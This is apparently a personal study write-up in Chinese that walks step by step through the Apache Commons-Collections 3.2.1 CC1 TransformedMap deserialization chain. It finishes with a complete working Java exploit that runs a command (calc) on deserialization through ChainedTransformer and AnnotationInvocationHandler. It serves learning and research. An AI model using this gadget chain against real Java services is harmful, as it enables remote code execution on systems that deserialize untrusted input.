Java反序列化 CC1-TransformedMap链

环境搭建

image.png

解压8u65里边的src.zip,把openjdk里的sun文件夹复制过来

image.png

创建maven空项目,选择jdk_8u65

image.png

在project structure里,把src源码的路径添加进去
image.png
添加CC漏洞版本的maven依赖,

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

注意调试没有源码就download resources一下

image.png

到此为止,环境配置完成,尝试导入CC包,看看是否配置成功

1
import org.apache.commons.collections.functors.InvokerTransformer;

攻击链分析

思路是从命令执行的地方一直往前找,找调用了同名函数的函数,直到找到readObject()为止。

  1. InvokerTransformer.transform()可以命令执行
  2. TransformedMap.checkSetValue()调用了xxx.transform()
  3. AbstractInputCheckedMapDecorator.setValue()调用了TransformedMap.checkSetValue()
  4. AnnotationInvocationHandler.readObject()调用了Map.setValue(),上个类又是Map的实现类

image.png

EXP编写

这是笔者跟的第一条链子,跟完之后仍然懵懵懂懂,在此,在我的理解范围内,在尽量详实地记下我的分析过程。

InvokerTransformer#transform

首先在InvokerTransformer.transform()中,存在任意方法反射调用:

image.png
这几个参数通过构造函数都是可控的:

image.png

尝试弹计算器,确定是可以执行命令的:

1
2
3
4
5
6
7
public class TestCC1  {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);
}

}

image.png

TransformedMap#checkSetvalue

接下来,开始找什么地方调用了transform(Object object),在transform()上右键,点击find usages
一般来说找带Map的好一些(?),听组长说,这个比较适合到时候找到入口类

image.png

发现TransformedMap#checkSetValue()调用了transform(),看看能不能利用:

image.png

valueTransformer是什么,可不可以控制?发现通过构造函数好像可以控制:

image.png

它构造函数是protected类型,我们不能直接创建实例:

image.png

于是再找其他函数,发现decorate()会返回一个构造好的实例:

image.png

尝试利用decorate()构造链条,EXP如下,注意,checkSetValue()是protected的,要反射调用该函数!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class TestCC1  {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);

Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
//protected方法
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap,runtime);
}

}

image.png

AbstractInputCheckedMapDecorator#setValue

接下来发现找不到有用的、调用decorate()的函数,于是试着找调用了checkSetValue()的函数,同样方法:
image.png

AbstractInputCheckedMapDecorator是TransformedMap的父类,它这setValue()里会调用checkSetValue()

image.png

父类AbstractInputCheckedMapDecorator有这个setValue()方法,子类TranformedMap自然也继承了,
于是想办法怎么在transformMap这个Map里调setValue(),跟一下setValue()函数:

image.png image.png image.png

一路跟上去发现是Map数据结构的一个给entry赋值的函数,那么我们尝试给构造的transformedMap里的value赋值,赋值runtime,进一步构造利用链,看看能不能弹计算器:

1
2
3
4
5
6
7
8
9
10
11
public class TestCC1  {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
}

image.png

这里的for循环注意理解,涉及JavaSE的基础知识:
image.png

AnnotationInvocationHandler#readObject

最后是找到这个入口类,它满足下面几个条件:

  • 可序列化
  • 重写readObject()
  • 调用了setValue()

image.png

这个类它不是public的,是default的,需要用反射获取对象。
链条到这就完整了,下面可以试着编写Exp

理想情况EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TestCC1  {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
}

**然而并没有利用成功,因为还有几个未解决的问题。

image.png

解决问题

Runtime对象不能序列化

Runtime类没有实现Serializable接口,故不能序列化:

image.png

但是Runtime.class对象是可以序列化的:

image.png

我们可以利用反射,不传runtime进去,选择传Runtime.class进去,通过反射照样能得到runtime

1
2
3
4
Class runtimeClass = Runtime.class;
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);

这里如果我们直接用这个, 要调用3次transform()函数,意味着链子要多执行三轮,有更简单的方法:

image.png

通过这个现成的ChainedTransformer类,只需要触发一次chainedTransformer.transform()就好了
注意:
ChainedTransformer[0].transform()的返回值,会作为ChainedTransformer[1].transform()的参数。
下面进一步编写Exp:

1
2
3
4
5
6
Transformer[] transformers =  new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

小疑问

这里我一直不明白,这里就算换Runtime.class,在链条里应该也新建了Runtime对象,不会影响序列化吗?
我的理解是只要序列化的时候没有出现Runtime的对象就好,实际Runtime对象并没有参与序列化与反序列化。
生成runtime对象已经是反序列化的时候的事情了。

绕过两个if语句进到setValue()

这里简单看下这个类的代码,看看怎么绕
构造函数传一个注解的类型叫type、一个Map叫memberValues,然后赋值到属性

image.png

下面是需要绕过的主要逻辑:

image.png

  • memberTypes:@Target注解的<每个成员名,成员类型>组成的键值对集合
  • memberType:根据name查找memberTypes,返回对应name的成员所属的类型,没有则返回null
  • memberValues:传进来的hashmap{“1111”->”2222”}
  • memberValue:传进来的hashmap的entry对象 “1111”->”2222”
  • name:hashmap的key名,”1111”
  • value:hashmap的键值对对象的值,”2222”

这段代码的逻辑:遍历传进来的hashmap,第一个if检查每一个key是不是注解里定义的成员的名字,是就通过;第二个if判断如果value不是memberType/ExceptionProxy的实例,就通过。
于是我们修改传进来的hashmap,把key改成某个注解里存在的成员的名字(例如”value”),value随便就好(例如”Jasper”)

image.png

进一步完善Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers =  new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Jasper");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();

setValue()不能传runtime对象

还是上面的逻辑,我们发现setValue()传入的对象我们是不可控的:

image.png

这里用到的是一个比较巧妙的ConstantTransformer类,ConstantTransformer.transform()返回一个恒定的值

image.png

而这个iConstant是能在构造函数里控制的:

image.png

那么问题就解决了,这里我看师傅们的文章都没仔细说,我思考了挺久才明白怎么回事:
我们在chainedTransformer数组的开头加上ConstantTransformer的对象,并且传入Runtime.class
这样一来不管ConstantTransformer.transform(xxx)传什么对象,都会返回一个Runtime.class对象
联系之前使用的辅助类ChainedTransformer.transform()的特性:

image.png

进一步完善Exp,重点关注transformers[]的第一个元素ConstantTransformer:

1
2
3
4
5
6
7
8
9
Transformer[] transformers =  new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

//其他略...

经过这样设置,我们在序列化、反序列化之后,会依次进行以下调用:

  1. AnnotationInvocationHandler.readObject()
  2. transformedMap.entry.setValue(new balabala)
  3. transformedMap.checkSetValue(new balabala)
  4. chainedTransformer.transform(new balabala)
    1. runtimeClass = ConstantTransformer.transform(new balabala) //控制参数
    2. getRuntime = new InvokerTransformer(…).transform(runtimeClass)
    3. rumtime = new InvokerTransformer(…).transform(getRuntime)
    4. new InvokerTransformer(…).transform(runtime)

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class TestCC1  {
public static void main(String[] args) throws Exception{
// Class runtimeClass = Runtime.class;
// Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Jasper");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
}


public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static Object unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
return o;
}
}

参考链接

https://y0n3er.github.io/undefined/45527.html
https://www.lengf233.top/2023/03/19/ru-he-shou-xie-yi-tiao-cc1-lian/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/

小结

通过这次跟链子,确实对Java反射、Java反序列化以及一些Idea调试方法有了更深的认识,继续加油吧!